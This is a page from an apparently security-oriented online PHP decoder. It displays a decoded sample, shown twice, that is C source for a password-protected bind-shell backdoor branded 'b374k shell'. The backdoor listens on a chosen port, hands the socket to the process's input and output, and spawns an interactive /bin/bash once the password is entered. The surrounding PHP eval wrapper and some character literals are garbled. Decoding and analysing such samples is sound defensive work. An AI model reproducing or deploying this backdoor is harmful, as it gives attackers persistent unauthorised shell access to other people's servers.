Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_encode("#include <stdio.h> #include <string.h> #include <sys/types..
Decoded Output download
<? eval(gzinflate(base64_encode("#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{
int sockfd, newfd;
char buf[30];
struct sockaddr_in remote;
if(fork() == 0) {
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[1]));
remote.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if(!sockfd) perror("socket error");
bind(sockfd, (struct sockaddr *)&remote, 0x10);
listen(sockfd, 5);
while(1)
{
newfd=accept(sockfd,0,0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
write(newfd,"Password:",10);
read(newfd,buf,sizeof(buf));
if (!chpass(argv[2],buf))
system("echo welcome to b374k shell && /bin/bash -i");
else
fprintf(stderr,"Sorry");
close(newfd);
}
}
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++)
{
if(entered[i] == '
')
entered[i] = '';
if(entered[i] == '
')
entered[i] = '';
}
if (!strcmp(base,entered))
return 0;
}"))); ?>
Did this file decode correctly?
Original Code
eval(gzinflate(base64_encode("#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{
int sockfd, newfd;
char buf[30];
struct sockaddr_in remote;
if(fork() == 0) {
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[1]));
remote.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if(!sockfd) perror("socket error");
bind(sockfd, (struct sockaddr *)&remote, 0x10);
listen(sockfd, 5);
while(1)
{
newfd=accept(sockfd,0,0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
write(newfd,"Password:",10);
read(newfd,buf,sizeof(buf));
if (!chpass(argv[2],buf))
system("echo welcome to b374k shell && /bin/bash -i");
else
fprintf(stderr,"Sorry");
close(newfd);
}
}
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++)
{
if(entered[i] == '
')
entered[i] = '';
if(entered[i] == '
')
entered[i] = '';
}
if (!strcmp(base,entered))
return 0;
}")));
Function Calls
None |
Stats
MD5 | 456f0094cc242f7443fe98ddabf14f58 |
Eval Count | 0 |
Decode Time | 56 ms |